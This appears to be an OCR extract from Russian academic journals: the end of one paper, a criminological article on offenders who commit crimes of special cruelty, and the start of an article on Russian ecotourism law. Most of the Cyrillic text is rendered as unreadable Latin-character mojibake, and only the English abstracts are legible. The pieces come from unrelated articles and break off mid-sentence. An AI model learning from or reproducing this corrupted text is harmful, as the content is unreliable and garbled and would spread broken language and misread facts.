CJICZICTBEHHO-OMEPATUBHAS TPYIIa MPOBOJUT HEOOXOAUMBIE CIIEJCTBEHHbIC JIEHCTBHS, B TOM
YHCIIe ¥ TMYHBIA 0OBICK M OCMOTpP aBTOMOOWMIIEH, Haxoasmxcs y npectynHukos [10, c. 105].

Takum 00pa3oM, KOMIUIEKCHBIA MOAXO] K aHAJIU3y OOIIECTBEHHO ONACHOIo JEsHHS B
Buje mnoxumieHus uenoeka (cr. 126 YK P®), oxBarhiBaromuii yrojoBHO-TIPABOBBIE,
KPUMMHOJIOTHYECKHE M CJIEJICTBEHHBIE aCHEKThl — SIBIISICTCS HEOOXOAWMBIM Uil TOBBIIICHUS
3¢ GEKTUBHOCTH TIPEAYIPEKICHUS COBEPIICHHUS TaHHOTO MPECTYIUICHUSI.
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AHHOTAIINA

CopepxaHue JAHHOM CTaTb MMEET 3HAYMTEIbHYIO aKTyaJIbHOCTh, OHA IOCBSIICHA
KPUMUHOJIOTHYECKOMY aHalu3y JMYHOCTH, COBEPIIUBIICH MPECTYIUICHUE MPOTHUB KHU3HU U
3I0POBbSl C KBaTM(DUIUPYIOIIUM MPU3HAKOM 0co0asi KecTOKOCcTh. CTaThsi paccMaTphBaeT
KOMITJICKC COIHATBHO-IEMOTpaMUeCKiX, MCUXOJIOTHYECKHX U KYyJIbTYPHO-00pa30BaTeIbHBIX
XapaKTePUCTUK TaKUX MPECTYMHUKOB, AHATM3UPYET UX MOTHBALIMIO MIPECTYMHUKOB, MEXaHU3MbI
COBEPIICHHUS MPECTYIUICHUI 1 0COOCHHOCTH (DOPMHUPOBAHUS IEBUAHTHOTO TIOBEICHUSI.

KiroueBble cJioBa: JUYHOCTH OCO0O JKECTOKOIO TMPECTYMHUKA, MPECTYIUICHUS,
COBEpIIaeMbIe C 0COO0H KECTOKOCThIO, HACHITUE, arPeCcCHsl.
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Abstract

The content of this article is of considerable relevance, it is devoted to the criminological
analysis of a person who has committed a crime against life and health with the qualifying sign
of special cruelty. The article examines the complex of socio-demographic, psychological,
cultural and educational characteristics of such criminals, analyzes their motivation of criminals,
the mechanisms of committing crimes and the peculiarities of the formation of deviant behavior.

Keywords: the personality of a particularly violent criminal, crimes committed with
extreme cruelty, violence, aggression.

HecmoTtpst Ha ThICSYM, MUJUIMOHBI MPOXUTBHIX UYEIOBEKOM JIET, OTPOMHOE KOJIMYECTBO
KaK TBOPYECKMX, TaK M TEXHHYECKHX JOCTHKEHHH, MOCTOSHHOE CTPEMJICHHE YeJIOBEYecTBa K
OornbllIeMy, K TOJYYEHHIO OOJBUIMX 3HAHHHA, BO3MOXXHOCTEH, JBHKEHHIO MBICIH, YEJIOBEK,
OJTHAKO, HE MOJKET CYIIECTBOBATh B IOCTOSTHHOM CIIOKOWCTBHUU M cYAaCThe. MOXKHO yTBEpXkIaTh,
KakK 3TO JIeNaroT, NOXKaJlyi, MHOTHE B Hallle BPEMsI, UTO MbI CElyac HCIBITBIBAEM KpPU3UC, HO
NPUJIEPKUBATHCS 3TOIO MHEHUS — 3HAUUT HE CKa3aTh POBHBIM CUETOM HMYETO, TAK KaK JAHHBIN
TE3UC UCIIOJIB3YETCsl HA IPOTSKEHNE BCE NCTOPUU YEIIOBEUECTBA, MOKHO YTBEPKIATh, YTO OHO
«CTEPIIOCHY 10 TAaKOW CTENEHH, YTO MPAKTUYECKH YTPAaTUJIO CBOIO 3HauMMocTb. Kpome Toro,
MIOHATHE «KPU3UC» UMEET UHIMBUAYAIBHBINA CMBICI 7SI KaXK10ro. Bo3sMoXXHO oJiHa M3 MPUYUH
3TOTO SIBJIEHUS] — 3TO HEMCKOPEHMMas UesIOBEYECKasl arpeccusi, yrpoza ee NpUMEHEHHs, TeM
Ooniee 4TO BCE CBOM JIeNia, KaK Mayble, TaK W OOJbIINE, OOIIErOCyAapCTBEHHBIE U OBITOBEIC,
HallMOHAJIbHbIE U PEJIMTHO3HBIE, MEKIMYHOCTHBIE U BHYTPHUIPYIIIIOBBIE, YEJIOBEUYECTBO YaCTO
pelIaeT IMEHHO C ITOMOIIIBIO HACHUJIMSL, arpECCUM.

YesnoBek MOXKET MPOSBIATH KECTOKOCTh, arPECCHIO HE TOJIBKO B OTHOIIEHHE dKHBOTHOIO
WINA PacTUTEIBHOIO MHUpA, HO U B OTHOLIEHHE ceOe moaoOHbIX. Hacuimue oTHOCUTCS K 4HCITy
r1100aIbHBIX POOJIEM YeIOBeUeCTBa, OXBAThIBalOas BCe 0€3 UCKIIIOUCHUs chephl )KU3HH, U K
COXAJICHUIO €€ TNPOSIBICHHUS YPE3BBIYAWHO pPa3HOOOpa3Hbl M JaJ€KO HE BCErja MOTYT
OIPaHUYUTHCS TOJIBKO CJIOBECHBIMU OCKOPOJICHUSMH, MOTYT JIOWTH U 10 YOuiicTBa.

[TocsirarenscTBa Ha YENOBEYECKYIO JKM3HB — HAMOOJIEe OIMAcHbIE M OCYKIAeMbIe
NPECTYIUIEHUsT C TOYKM 3pEHUS] HPABCTBEHHOCTH, TaK KaK IPU TAaKOM IPECTYITHOM
MOCATATENILCTBE MOCIIEICTBHS HEOOpaTHUMbI. B Mupe HeT HUUYero SKBUBAJIEHTHOTO YEJIOBEYECKOM
xu3HU. ['erenp yTBepsknal, )KU3Hb — OCHOBHOE OJIaro 4esioBeKa «OCHOBA OBITHS JTMYHOCTH.
Bce ocranpHbIe 671ara ¥ IEHHOCTH UMEIOT BTOPOCTENICHHOE 3HAYCHUE.

B cootBerctBun co crareeit 2 Koncturymmm Poccuiickoii denepanyy 4enoBek, €ro
paBa 1 cBOOO/IbI COCTABIISIOT BBICIIYIO IIEHHOCTh, @ Ha FOCYJapCTBO BO3JIOKEHA 00S3aHHOCTH O
NpU3HAHUE U 3alUTe NpaB U cBOOOJ yenoBeKa U rpaxaanuHa. OJHUMH U3 HanOoJjee BayKHBIX
IIpaB SIBJSIFOTCS [IPAaBO Ha KHU3Hb, IPABO HA JIUYHYIO HEPUKOCHOBEHHOCTb, IIPABO HA 3alUTY CO
CTOPOHBI TOCyIapcTBa OT MPECTYIUICHWH, 3TU IIpaBa, 3aKPEIUICHHbIE HA KOHCTUTYLIMOHHOM
ypoBHE. Oco0yr0 OOILECTBEHHYIO ONACHOCTh COCTaBJISIIOT HACWIIME, NPECTYIUICHHsS NPOTUB
’KU3HU U 3]I0POBBI JIUII, TAK KaK OHM MTOCATAIOT Ha HauOoJee BayKHbIE IEHHOCTH— HOPMaJIbHOE
(YHKUIMOHHPOBaHHE YEIOBEUECKOT0 OpraHu3Ma.

B uyncne HACMIIBCTBEHHBIX NPECTYIUICHUH, OTIMYAIOIIMXCS BBICOKOW OOIIECTBEHHOM
OMAaCHOCTBI0O HEOOXOJMMO BBIJICIUTh COBEPIICHHBIE C OCO00H IKECTOKOCThIO. JItoOas
KECTOKOCTh, B TOM YHUCIIe 0c00ast, MOKET MMETh MECTO IPH JII00OM Jiake J0OPOKaueCTBEHHOM
HacwimK. Oco0asi JKEeCTOKOCTh B NPECTYITHOM HACWIMM 3TO B IEPBYIO Oyepelb YOUICTBa,
IIPUYMHEHUE TSDKKOTO Bpelda 3/0pPOBbIO, NPUYMHEHUM CPEAHEN TSHKECTH Bpelda 3JI0pPOBBIO,
UCTSA3aHKE, N3HACUIIOBAHHE, HACUIbCTBEHHBIE JIEUCTBUS CEKCYAJIbHOTO XapaKTepa.

Oco0oii KECTOKOCTh MOXKET MMETh MECTO, KOIJa IMpPECTYNHUK Hpuberaer Kk Heu ¢
HPSMBIM WM KOCBEHHBIM YMBICIIOM, IIPY 3TOM HE UMEET 3HA4€HMs JJIsI KOHCTaTalli UMEHHO
0c000i1 )KECTOKOCTH T10JI, BO3PACT MIIM COCTOSIHUE 3/I0POBBs KEPTBBL. Tak, Harpumep, yOUicTBO
peGeHKa HEe MOYKET CUMTAThCSI COBEPIIEHHBIM C 0COO0M KECTOKOCTBIO TOJIBKO OTOMY, YTO 3TO
ObUT peOEHOK, OJDKHBI OBITH 00S3aTENBbHO YCTAHOBJIICHBI NMPU3HAKH, TOBOPAIIME O TOM, YTO
ObUTa MposIBJIEHA HE “TIPOCTO” JKECTOKOCTh, @ MMEHHO ocobas. JKepTBoil HaCHIHS C OCOOOM
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KECTOKOCTBIO MOXKET ObITh TOJILKO KUBOM YEJIOBEK WM TOT, KTO MIPECTYIHUKY MPEACTABISIETCS
1o ommmoke >kuBbIM. [Ipu Bcex 00cToATENBCTBAX 0C00as )KECTOKOCTh HE MOXKET OBITH «IIPOCTOM
KECTOKOCTBIO, @ OCOOBIN, BBIICTISIONTUICS CPEI IPYTHUX, KaK MPaBUIO, BOOOpakaeMbIX, CBOCH
HEOOBIYHOCTBIO, HEMUJIOCEPIUEM, C IPUMEHEHHEM 0CO00 MYUUTEIBbHBIX CIIOCOO0B, CaU3MOM,
MHUYHOCTHIO, OTCYTCTBHE ydY€Ta MPEKHUX OTHOIMIEHUH C x)epTBoil. Ocobast )KeCTOKOCTh MPHU
COBEPILECHHUH JIF0OOT0 MPECTYITHOTO HACHIINE MOXKET ObITh CMBICIIOM, MOTUBOM TaKOTO HACHJIMSA,
a He TOJILKO CIIOCOOOM €ro peaan3aluu.

Cornacao noctaHosienuto [lnenyma BepxoBroro Cyna P® u cyneGHO# mpakTHke,
yOUIICTBO MOKET OBITh MPU3HAHO 0COO0 KECTOKUM:

1) nmepen nuWIIEHWEM SKWU3HM WM B TPOIECCE COBEPIICHHS YOWICTBA K
NOTEPHEBIIEMY TMPUMEHSUINCh MBITKM, HUCTI3aHUE WIM COBEPLIAIIOCH
[JIYMJICHUE HaJl )KEPTBOU

2)  Korja yOWHCTBO COBEPIICHO CIIOCOOOM, KOTOPBINA 3aBEAOMO JJisi BUHOBHOTO
CBSI3aH C IPUYMHEHUEM I[OTEPIIEBIIEMY OCOOBIX CTpaJaHui (HaHECEHHE
OOJIBIIIOr0 KOJMYECTBA TEJIECHBIX MOBPEKACHUMN, UCIIOIb30BAHUE MYUUTEIHLHO
JEMCTBYIOLLETO 514, COXOKEHUE 3aKUBO, IJTUTEIBHOE JIUILIEHNUE TIUILH, BOJIbI U
T.I.).

3) Korma JKECTOKOCTh MOXKET BBIPAXKAThCS B COBEPIICHHH YOUWiiCTBA B
NPUCYTCTBUU OJM3KHUX MOTEPIIEBIIEMY JIUL, KOI/1a BUHOBHBIM CO3HAaBAaJl, YTO
CBOMMH JCUCTBUSIMU TNPUYMHSIET KM OCOObIE CTpaJaHusi, AyIIEBHbIC
CTpaJlaHus.

I".H. bop3eHKOB BBIIETISUT €11e OJJHY Pa3HOBHIHOCTH OCO0O0M KECTOKOCTH MPHU yOUICTBE,
KOrJa B LEISIX NPOUIEHUS MYYEHUH >KEPTB BHHOBHBIM IPEMATCTBYIOT OKA3aHMUIO ITOMOIIU
YMHparoIeMy.

C CcyOBEKTMBHOH CTOpOHBI TPECTYIUIEHHE C MPU3HAKOM 0co0asi >KeCTOKOCTh
XapaKkTepu3yeTcs MPsIMbIM WIIM KOCBEHHBIM YMBICIIOM, Ul KBAJU(HUKAIMU IO M. «I» 4. 2 CT.
105 YK P® He umeeT 3Ha4€HU, JKeIal JIM BUHOBHBIN WM CO3HATEIBHO JIOIYCKaJl HACTYIIJICHHUE
CMEpTH MOTEPIEBILETo, WK OTHOCUIICS K Hell 0e3pa3IuyHo.

B kpumuHoOsIOrMH TIOHATHE OCOOON >KECTOKOCTH MOXKET BBICTYNATh MPU3HAKOM JUIs
0003Ha4YeHUs HE TOJIBKO OTAEIHHOM JIMYHOCTHU U, B YACTHOCTH €€ MOBEJCHUS, HO U LEJbIX TPy
JIOAEH U UX HAaCWIBCTBEHHBIX JIESTHUM B3ATBIX B OTIAEJIBHOCTH WJIM COBOKYIHOCTHU. JINYHOCTH
BOOOIIE, M JTUYHOCTH OCO0O0 KECTOKOTO MPECTYIMHUKA, B YACTHOCTH, TPEJCTABIISIET COOOW HE
Ha0Op OTHENbHBIX, HW30JMPOBAHHBIX CBOWCTB, a CHUCTEMY B3aHMMOCBS3aHHBIX KauyecTB,
CO3/Ia0IIMX ONPEAETEHHYIO CTPYKTYpY.

Jlvna, coBeplIMBIINE WM COBEPLIAIOIIME HACWIME HAJ IPYTUMH JIIOJbMH, HUMEIOT
JIOBOJIbHO MHOTOIUIAHOBYIO XapaKTEPUCTUKY, OT Hee 3aBUCUT (OpPMHpPOBAHHE MOTHBA
COBEpLICHHUSI POTUBOIIPABHOIO JAEHUCTBHSI, B OCHOBE KOTOPOIO BCETAA JIEKH COLMANIbHAS WU
Oouonormueckasi MOTpeOHOCTh.  KpUMMHONIOrMYECKHil  MOPTpPET  dYeJoBeKa, JMYHOCTH,
COBEpILIUBIIECH MPECTYIJICHUE MPOTUB >KU3HU U 370POBbS C KBATH(PUIMPYIOMIUM MPH3HAKOM
0c000# KECTOKOCTH, MPEACTaBIAECT COOOM KOMIUIEKCHYIO XapaKTEpUCTUKY, OXBATHIBAIOILYIO
KaK IICUXOCOLMAIbHbIE, TAK U KPUMHMHOJIOTUYECKUE ACHEKThl. AHAIN3 TaKUX WHIWBHUIYYMOB
BBIBIISIET Pl TUIMYHBIX YEPT, BKIIKOYAsl BBICOKUN YPOBEHb arpeCCUBHOCTH, HU3KYIO CTEIIEHb
SMIATUM W YacTO HAIWYME JIMYHOCTHBIX paccTpoicTB. JIMma, KOTOpbIE COBEPIIAIOT aKThI
HACWJIMS C 0COOOM >KECTOKOCTBIO, MOTYT JEMCTBOBAThH MO BIMSIHUEM 3JI0CTH, JKEIaHUS MECTU
WINA CTPEMJIEHUSI K TOCHOACTBY, BJAcTU. JTO CBUAETENIBCTBYET O HATWYMM JIEMOHCTPATUBHBIX
MOTHUBOB, KOT/Ia arpeccop HaMepeH MPOJAEMOHCTPUPOBATH CHITY ITyOJINYHO.

YacTo mpecTymHUKHA UMEIOT CIIOKHBIC KU3HEHHBIE OOCTOSTENbCTBA: HEOIaronosyqyHoe
JETCTBO, TPAaBMAaTUYECKUH OMNBIT W BIMSHUE KPUMHHAIBHOM CYOKyIbTypbl. VX moBeneHue
3a4acTyi0 (OPMHUPYETCsl IO/ BO3JCHUCTBHEM COIMAIBHOW CPEAbl, YTO BEAET K CHWKEHHIO
MOpPAJIbHBIX U 3TUYECKUX HOPM.

Taioke BaKHO Y4UMTBHIBATH MOTHMBALlMIO NpecTymuyieHus. Jluma, coBepliaromiye axThl
HACHUJIHS ¢ 0CO00M KECTOKOCThIO, MOTYT JACMCTBOBATH MO/ BIUSHUEM arpeccui. ATpecCUBHBIMU
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MOTYT ObITh HAMEPEHHUS, MOTUBBI, LIEJIM, IMOLMH WJIH K€ CTPEMJICHHUS K JOMHHUpOBaHHIO. [Ipu
COBEpIICHHE NPOTUBONPABHBIX JAESHUNA CYIIECTBYIOT CIIyyad, NPEANojaraloT HaJudue
JIEMOHCTPATUBHBIX 3JIEMEHTOB, HAIlpUMEp, arpeccop CTPEMHUTCS K MYOJHMYHOMY IPOSBICHHIO
cWIbl Arpeccusi MOXeT TpOSBIATbCA U B Oe3/eficTBHM, B HEOKa3aHUE MOMOILM TEPIILEMY
OencTBue, eciy oHa ObUIa B IpeAerax BO3MOXHOCTH JIaHHOTO 4YejoBeka. BHHOBHbBIE MOTyT
UCTIBITHIBATh OT 3TOT'0 CaIUCTCKOE YIOBJIETBOPEHUE.

TpagAULIMOHHO B CTPYKType JIMYHOCTU TPECTYIIHUKA KPUMHUHOJIOTH  BBIICISIOT
COIMAIbHO-TIEMOT pahUUECKYIO; KyJbTYPHO-00pa30BaTelIbHYIO; HpPaBCTBEHHO-
TMICUXOJIOTMYECKYIO; YTOJIOBHO-TIPABOBYIO MOACTPYKTYPHI.

C.H. AnpOenbleB yTBEp)KIAe€T, 4YTO MPECTYNHOE IOBEJIEHHE, €ro MOTHUBAIMS,
MOTPEOHOCTH 4YeNOBeKa M HX YJIOBJIETBOPEHHE BCEr/la CBA3aHBI C TEM, YTO JIMYHOCTh
KOH(JIMKTYeT co cpenoi, obmectBoM. C 3TUM HENb3s HE COIJIACHTCS, TaK KaK COLMAJIbHO-
nemMorpadudeckue 0COOCHHOCTH BO MHOTOM (hPOPMHUPYIOT COIMAILHOE TIOJIOKEHUE, OKA3hIBAIOT
BIIMSTHHE HAa HPABCTBEHHO-TICUXOJIOIMYECKYIO, [IEHHOCTHO-HOPMATUBHYIO OPHEHTALIMIO JINIIA, a,
B COBOKYITHOCTH, 3TH 3JIEMEHTHI ONpPEAENSIOT WUHTEPECHI, MOTPEOHOCTH, IIEHHOCTH, CTaTyCHO-
posieBbie (OPMBI TTOBEJCHUS JIMYHOCTH. WrparoT CyIIECTBEHHYIO POJIb COLMAIBHBIE (PaKTOPEI,
Takue Kak BOCHHUTAHHE B HEOJIAromolydyHBIX YCIOBUSX, HU3KUHA YPOBEHb HMYIIECTBEHHOM
00ecreyeHHOCTh, AacolualibHasi cpeJa. OJTH  aCleKThl MPUBOIAT K (OPMHUPOBAHHUIO Y
MpecTynHUKa JeUIMTa COIMAIbHONH OTBETCTBEHHOCTH W  TO3UTHBHBIX IIEHHOCTEH.
XKecrokocTh, BbIpaKarmascs B COBEPIICHUH NPECTYIUICHHH, YacTO CIYKHUT CPEICTBOM
CaMOYTBEPXKJICHUs] WM CHOcO0aMHU CHSTHUS BHYTPEHHETO HANpSIKEHUS. ATPECCUBHOCTh
COBPEMEHHOTI'0 YeJIOBEKa MOKET BO3PACTH OT COIMAIIBHBIX CBA3EH, B YACTHOCTH OT T€X, KOTOpPhIC
MO>KHO Ha3BaTh OJIM3KUMU WM UHTUMHBIMH, CBSI3aHHBIX OT MHOTOYHCIICHHBIX U3MaThIBAIOIINX
00sI13aHHOCTEH, OT BBIHYXJICHHOW HEOOXOJMMOCTH BBINOJHATH CBOM JONT. A CIOXXHBIE WIN
KOH(IUKTHBIE CUTYallMd Ha pabOTe MOTYT MEPEHOCHUTCS Ha OBITOBYIO JKM3Hb M Pa3psSkKaThCS
HacCWJIMEeM y ce0st Joma.

[Ipu paccMoTpeHue CTaTUCTUKU, MOXHO CAENAaTh BBIBOJ, YTO MPECTYIUIEHHUs] C 0COO0OMU
’KECTOKOCTBIO Yallle COBEPIIAIOTCS MYKYMHAMH, XOTSI M KCHIIIMHBI CTIOCOOHBI HAa TaKUE JCSTHUS.
[Ipeobnaganue My»4uH B COBEPIIIEHUE MPECTYIUICHUI MPOTUB KU3HU U 30POBbs IPU HATUYNHU
KB (DUIIUPYIOILETO MpU3HaKa ocobas KECTOKOCTb MOYKHO OOBSCHHUTH
NCUXO(U3UOIOTUUECKUMH  OCOOCHHOCTSIMU TIOJIOB, MOJIOJbIE JIOAM B OOINBIICH CTEEeHU
UCTIBITBIBAIOT TOTPEOHOCTh B YTBEPXKIIEHHE CBOETO CTAaTyca B COIMAIBHO-3HAYMMOW poiH. A
OONBIIMI TMPOLEHT KEHIIMH COBEPIIMBIIMX MPECTYIUICHUE KPUMHHOJOTH CBS3BIBAIOT C
MOTHBOM «CTPacTb», 3TO OOYCIABIMBACTCS WX CIEIM(UKONW TPECTYMHON IeSTeIbHOCTH,
KOTOpas 4alle BCEro CBf3aHa C CEMEHHBIM HeOIaromnojaydueM, C MepCOHATbHBIMU
00SI3aHHOCTSIMH WJIH C TIOPIBAMH MECTH PEBHOCTH.

Taxke MOKHO CKa3aTh, YTO HE CYIIECTBYET CTPOrO OIPEIEIEHHOrO0 BO3PACTHOI'O
nauana3oHa. [IpecTymieHnsT MOTYT COBEpIIAThCS KaK MOJIOABIMH JIFOJbMH, TaK M JIHIAMHA
noxuwioro Bo3pacta. OIHAKO, UMITYJbCHBHOCTb M arpecCHMBHOCTb, YacTO COMYTCTBYIOLIHME
MPECTYIUIEHUSIM C OCOOOM KECTOKOCTBIO, MOTYT OBITH OoJiee BBIpaXKEHBI y 00Jiee MOIOABIX
JIOJEH.

[Ipectyruienust ¢ 0coOOil KECTOKOCTHIO COBEPILIAIOT JIMIA C PA3JIMYHBIM YpPOBHEM
0o0pa3oBaHMs U PpA3IUYHBIMH TNPOQPECCUsIMU, TOITOMY YPOBEHb OOpa3oBaHUS U PO
NESITeIbHOCTH  HE  SBJsIeTCsl aOCOJIOTHBIM — MPaBWJIOM. B HEKOTOPBIX  HMCCIIEIOBAHHAX
HaOrOaeTCs TEHIACHIMS K OOJbIIEMY KOJHYECTBY MPECTYIUICHHH C OCOOOH >KECTOKOCTBIO
CpeAu JIMIl C HU3KMM YpOBHEM 00Opa3oBaHUs. DTO MOXET OBbITh CBSI3aHO C OTPaHUYECHHBIMU
BO3MOKHOCTSMH COLIMAJILHOM aJanTaiyy, TpyI0yCTPOWCTBA U AOCTYIA K Pecypcam, YTO MOXKET
CHOCOOCTBOBATh POCTY arpecCry U IEBUAHTHOT'O MOBEICHMUS.

DOpMHUPOBAaHUIO [I€BUAHTHBIX LEHHOCTEM W HOPM IIOBEACHHUA Yy JIMYHOCTEH,
COBEPLIAIOIIMX MPECTYIUIEHUs] ¢ 0CO0OM KECTOKOCTBIO MOKET CHOCOOCTBOBATH HEAOCTATOK
COIMAIN3AINY, HETaTHUBHBIA ONBIT BOCIUTAHUS, OTCYTCTBHE TMOJOXKUTEIBHBIX POJEBBIX
MoJIeJel, a TaKKe BO3eHCTBUE CYOKYIbTYp, IPONAaraHAUPYOINX HACUIINE U arpecCHI0, MOTYT
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OBITh 3HAUUMBIMH (pakTOpamu, HegocTtaTok HpaBCTBEHHOTO BOCIIUTAHUSI, OTCYTCTBHE PAa3BUTOTO
YyBCTBA AMIIATUU M COMEPEIKUBAHUS MOTYT CIIOCOOCTBOBATH COBEPIICHHUIO AKTOB OCOOOM
’KECTOKOCTH.

3aimTa KU3HU U 3J0POBbs — IPUOPUTETHAS 3a/1a4a YTOJIOBHOTO 3aKOHOJATENbCTBA, YTO
MOJTBEP)KIAACTCA MX mosiokeHneM B Havasie OcoOenHoit yactu YK P®. Omnako, mpakThka
KBaTM(PUKALIMU TIPECTYIUICHUH TPOTHB JKU3HH W  3/I0pOBBS, OCOOCHHO YOWHCTB C
KBATU(UITUPYIOIIUM TIPU3HAKOM «0CO0asi KECTOKOCTHY, CTAJIKHUBACTCS CO 3HAYMTEIHLHBIMU
TpyaHOCTAMH. [IprunHeHHne JUIUTENbHBIX (PU3MYECKMX M HPABCTBEHHBIX CTpaJaHU >KepTBE
MIPENICTABIIsIET COOOM CIHOXHBIA ISl IOpUaWYeckol oreHKH (akTtop. JlaHHas craThs
MOTYEPKUBACT CIOKHBIA KOMIUIEKC (DaKTOPOB KPHUMUHOJIOTMYECKOTO IMOPTpeTa JUIHOCTH
MIPECTYITHUKA, COBEPIIAIOIIETO MPECTYIUICHUS MPOTUB KU3HU U 37I0POBBS C MPU3HAKOM «0OCO0ast
JKECTOKOCTDY.
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AHHOTALIUSA

OKOJIOTUYECKUI TypH3M Ha OXpPaHSEMBIX TEPPUTOPUSX TpeOyeT OT MOCeTUTEeNen
OoMpIlIeH AUCUUIUIMHUPOBAHHOCTH, Y€M B JPYrHMX TYPUCTHUYECKHMX MecTaX. OHHU JTOIDKHBI
0CO3HaBaTh Ba)XHOCTb OXpPaHbl M PALMOHAILHOTO MCIIOJIB30BAHUSI OKPYXKAIOIIEH Cpelbl U
00iaaTh 3HAHUSIMH OO0 OCHOBHBIX AKOJIOTUYECKHX IMPOIeccCaX M MPHUPOJHBIX IIEHHOCTSX.
ABTOpBI MPOAHATU3UPYIOT ACUCTBYIOIIYIO 3aKOHOIATeNnbHYI0 06a3zy Poccuiickoit ®eneparum,
OTHOCSILIYIOCS K DKOJIOTMYECKOMY TYpU3MY, BBIICIMB €€ NPEUMYIIECTBA M HEIOCTAaTKH M
MPEII0KUB BO3MOXHBIE IIATH T10 €€ YIYYIICHHIO.

KiroueBble cioBa: 3akoHomatenbHas 0a3a, Poccuiickas deneparusi, 3KOIOTHICSCKHMA
TYpH3M, PAIMOHAIBHOE UCTIONIb30BAHNE OKPYXKAOIIEH Cpelibl, 0c000 OXpaHsIeMbIe TEPPUTOPHHU.

Abstract

Ecotourism in protected areas requires visitors to be more disciplined than in other tourist
destinations. They must be aware of the importance of environmental protection and
management and have knowledge of basic environmental processes and natural values. The
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authors will analyze the current legislative framework of the Russian Federation related to
ecotourism, highlighting its advantages and disadvantages and proposing possible steps to
improve it.

Keywords: legislative framework, Russian Federation, ecological tourism, rational use
of the environment, specially protected areas.

Typu3sM siBisIeTCA KU3HEHHO BaYKHOW YaCTHIO MUPOBOM SKOHOMMKH, HO YAaCTO OKa3bIBAET
3HAUUTEJIPHOE BO3/CHCTBHE Ha OKPYKAIOIIYIO Cpeny, 4YTo TpeOyeT CO3MaHMsl HaAEKHOU
MPaBOBO¥ 0a3bl /ISl YCTOMYMBOTO pa3BUTHs. B3anMoneHCTBHE TYpPUCTOB C MPUPOIHOMN Cpemnoit
MOXKET MPUHECTH KaK HEMOMPABUMBIN BpeJl, TaK M 3HAUUTEIBHYIO MOJIb3Y. B TO Bpems, korna
BHUMaHHE K OKpYXarollel cpele 3HAUYUTETBbHO BO3pPOCIO, BO3HUKIO M CTPEMHUTEIBHO
pa3BUBAETCs IBM)KEHUE HKOJIOTMUECKH OTBETCTBEHHOIO TYpPHU3Ma.

MesxayHapogHoe 0OIIECTBO SKOTYpPH3Ma OIMPEAETIIO SKOTYPHU3M KaK «OTBETCTBEHHOE
IIyTEIIECTBUE B IPUPOAHBIE 30HBI, KOTOPOE COXPAHSET OKPYKAIOLIYIO CPENy, MOAJEPKUBAET
0JIaTOCOCTOSTHE MECTHOTO HACeJICHUS W BKJIIOYAET B ce0s MHTEPHPETANIO U 00pa30BaHUE).
DKosoru4eckuil TypusM (IOABH) YCTOHUMBOIO TypH3Ma JIOJDKEH OCHOBBIBATHCS Ha IPUPOJIE,
OBITh YCTOWYMBBIM W OCYIICCTBIISITECS TPU CTPOTOM 3alldTe NPUPOIHBIX IICHHOCTEH [9].
DKOTYpU3M OCHOBAaH Ha KOHIICTILIMM AKTHUBHOTO COXPAHEHUs NPUPOIBI, COTPYIHUYECTBA U
BOBJICUEHHS MECTHBIX COOOITIECTB [8].

JleicTBHS SKOTYPHUCTOB JIOJKHBI OBITH OPUEHTUPOBAHBI HA MUHMMAJIBLHOE WA HYJIEBOE
BO3/ICHCTBHE Ha OKpYXKarollylo cpeny. [IpuHIMI yCTOWYMBOrO pa3BUTHS JOIDKEH OBITh
BKJIIOYCH BO BCE BHABI [EATEIFHOCTH B o00JacTu »KoTypusMa.llpaBoBas opraHuzarms
HKOJIOTMYECKOTO TypHU3Ma OCHOBaHa Ha [JBYX YypoBHsAX. llepBelii W3 HHUX sBIsSETCS
MEXIYHapOJHbIM, M €ro peajlu3alys 3aBUCUT OT KOJIMYECTBA CTpPaH, IOJAMUCABIINX
cornaiieHre. Bropoil ypoBeHb — HalIMOHANBHBINA U BAPUPYETCS OT CYOBEKTa K CYOBEKTY, HO X
HOPMBI HalpaBJICHbl Ha JOCTM)KEHHE ONHUX W TeX JKe IIeJiei, OCOOCHHO €CIM STH CTPaHBI
patuduIMpoBaI OAHA U TE KE MEXKIYHAPOAHO-TIPABOBBIE JTOKYMEHTHI.  XOpOIIO
COXpPaHUBIIASICSI TIPUPOJIA SIBIISIETCSI OJIHAM M3 OCHOBHBIX KOHKYPEHTHBIX MPEUMYIIECTB IS
MO3ULIMOHUPOBAHUS POCCUIMCKOTO TypH3Ma Ha MEKIYHAPOJHOM TYPUCTHUYECKOM PBIHKE, U HET
COMHEHHUH B TOM, YTO Pa3BUTHE IKOTypu3Ma B POCCHU JOIKHO OCHOBBIBATHCS HA MPUPOIHBIX
LIEHHOCTSIX €€ MHOTOYHCIIEHHBIX OXpaHsIeMbIX TeppuTopHii [11].

OKOTYpHU3M MOXET OKa3blBaTh CEPbE3HOE HETaTHBHOE BO3JEHCTBUE HA MNPHUPOJIHBIC
SKOCHCTEMBL. YTOOBI MPEeAOTBPATUTD 3JI0YMOTPEOICHUE SKOTYPU3MOM BO UMS SKOTYpU3Ma, ITOT
BUJ Typu3Ma JOJDKEH pEryjIMpoBaThCsl 3aKOHOM KaK Ha HalMOHAJIBHOM, TaK W Ha
MEXAYHapOoIHOM YpoBHAX. Oco0oe BHUMaHME CIeIyeT YIEIUTh TypolepaTopaM B CBS3U C UX
Ba)KHOM POJIBIO B IIPOJIBUIKEHUH LIEHHOCTEH, pajid KOTOPBIX CYHIECTBYET 3KOTYPU3M.

HopmaTuBHO-TIpaBOBbIE aKThl, PETYJIUPYIOLIUE IEATEIBHOCTh SKOJIOTUYECKOTO TypU3Ma
U MOCceUIeHns: 0c000 OXpaHsieMbIX TeppuTopHii B Poccuiickoit @eneparun:

— Koucturymus Poccuiickoit @eneparu [1] — ycTaHaBiuMBaeT, 4Tto 3eMilsl U
Jpyrue MPUPOJIHBIE PECYPChl HCIIONB3YIOTCA U oxpaHsaworcs PO kak ocHoBa
KU3HM M JIEATENIbHOCTH HapoAOB, MPOKHUBAIOUIMX HA COOTBETCTBYIOLIECH
TEPPUTOPUH, OTMETUM, YTO OTCYTCTBYET MOHATUE «IKOJIOTUYECKUI TYpU3M,
HET YeTKUX HamNpaBJICHUN pa3BUTHS, PETYIUPOBAHUS «OKOJIOTHUYECKOTO
TypU3May;

- Oenepanpabiii 3ak0H Ne 33- @3 «O0 0c000 OXpaHSEMBIX MPUPOTHBIX
tepputopusix» ot 14.03.1995 r.[2] — 3ak0H JaeT MOHATHE 0CO00 OXPaHIEMBIX
TEPPUTOPHIA, OTPENENAET, YTO 0COO0 OXpaHseMble TEPPUTOPUN OTHOCATCS K
00BbeKTaM OOIICHAMOHABHOTO JTOCTOSHHUSA, & TAKXKE PETyIUPYET OTHOLICHUS
